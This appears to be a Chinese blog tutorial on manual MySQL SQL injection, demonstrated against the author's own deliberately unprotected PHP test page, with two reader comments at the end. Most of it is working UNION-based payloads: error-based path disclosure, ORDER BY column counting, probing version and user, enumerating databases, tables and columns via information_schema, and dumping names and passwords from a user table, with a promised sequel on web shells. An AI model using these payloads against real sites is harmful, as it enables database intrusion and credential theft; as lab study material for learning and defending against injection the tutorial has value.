很早就想整理一份MySQL手工注入的手册了,之前一直没有实践,这次好好整理一下,此次整理的内容是常见的爆数据库信息的方式。
环境搭建
系统:Windows 10 64位企业版
服务端:PHP 5.6.15
数据库:MySQL 5.0.11
WEB容器:Apache 2
未开启防火墙和GPC等防御
开启php.ini错误显示功能
数据库内容
数据库名:ylglxt
数据库表1:sqltest;字段为:name、no、price
数据库表2:yl_user;字段为:id、name、pwd、pri等
php内容
创建test.php,给出输入框,输入数字(1——4)
对应sqltest.no,给出数据库查询语句和查询结果
具体语句为:"select no,name,price from `sqltest` where no='input'"
测试:当输入1时,返回结果如下:
手工注入
爆路径
直接输入单引号'
效果如下图,由于破坏了原本的闭合关系,导致绝对路径被爆出
爆字段长度
1' order by n#
order by n是根据数据库表中的第n个字段进行排序,一旦n超过数据库表中字段范围即会报错,在范围内即会正常显示,后面的#用于注释数据库语句后面的内容。
以第3个字段排序时,显示正常
以第4个字段排序时,显示错误,因此该表为3个字段
字段匹配
在知道字段的长度后,即可开始匹配各字段的对应关系了
1' and 1=1 union select 1,2,3'
从下图可以看出编号、书名、价格应该为该表的第1、2、3个字段
数据库信息探测
1' and 1=2 union select null,version(),null' //数据库版本
1' and 1=2 union select null,database(),null' //当前使用的数据库名
1' and 1=2 union select null,user(),null' //当前用户
1' and 1=2 union select null,system_user(),null' //当前系统用户
1' and 1=2 union select null,session_user(),null' //会话用户
1' and 1=2 union all select @@global.version_compile_os,null,null from mysql.user# //判断当前操作系统版本
1' and 1=2 union all select @@datadir,null,null from mysql.user# //数据库路径
1' and ord(mid(user(),1,1))=114# //判断root权限,返回正确结果为root权限,mid()函数用于去user()结果的第二个字母,ord将字符转为ascii,114为字母r的ascii,因为user()返回结果的首字母为空,因此从第二个取
使用MySQL内置的系统函数得到当前数据库的信息
爆数据库信息
注:该技巧适用于MySQL>5.0版本
爆出数据库名
1' and 1=2 union select 1,schema_name,3 from information_schema.schemata limit 0,1#
1' and 1=2 union select 1,schema_name,3 from information_schema.schemata limit 2,1# //修改limit后面的第一个数字可遍历所有数据库,可从0开始
这是由于MySQL内置的informationschema.schemata表里存储了当前数据库中所有数据库的信息,可以通过此方式遍历所有数据库
如下图就爆出了该系统第一个数据库名为elective_manage
而我们想要的ylglxt数据库也通过这种方式爆出
爆出表名
1' and 1=2 union select table_name,2,3 from information_schema.tables where table_schema=0x796c676c7874 limit 0,1# //information_schema.tables保存了数据库中的所有表,table_schema后接上一步报出数据库名的16进制值(此处为ylglxt)
1' and 1=2 union select table_name,2,3 from information_schema.tables where table_schema=0x796c676c7874 limit 1,1# //同上,可遍历ylglxt数据库的所有表名
使用该方法爆出了表名yl_user
爆出列名
1' and 1=2 union select column_name,2,1 from information_schema.columns where table_name=0x796c5f75736572 limit 0,1# //table_name后面接表名的16进制值(此处为yl_user)
1' and 1=2 union select column_name,2,1 from information_schema.columns where table_name=0x796c5f75736572 limit 1,1# //同上,可遍历yl_user的所有列名
information_schema.columns表里存的是所有数据库列的信息,看来information_schema数据库相当重要啊
如下图爆出了yl_user表的pwd字段
数据信息读取
1' and 1=2 Union select 1,name,pwd from yl_user#
1' and 1=2 Union select 1,name,pwd from yl_user limit 0,1# //正常情况下,建议加上限制以免服务器爆炸
1' and 1=2 Union select 1,concat(name,0x3c,pwd),2 from yl_user# //concat()能使得一个可用字段显示两个数据内容,0x3c为<,作为分隔符,亦可用0x20
1' and 1=2 Union select 1,concat(name,0x3c3c3c,pwd),2 from yl_user# //可组合使用
此时可以读取数据项了,注意使用union联合查询的限制:前后两个表查询的字段数要匹配上,类型最好也相同,如果不确定可以使用null代替
小结
本篇主要讲解使用手工注入的方式得到数据库的部分信息和获取数据库内容,由于时间较为仓促,未能完整整理,下篇将主要介绍使用手工注入的方式读取系统文件和写入一句话木马。
Xampp真是666啊,文章很基础,很适合我等渣渣,求更新下篇
ok,感谢支持,下篇马上就给你还上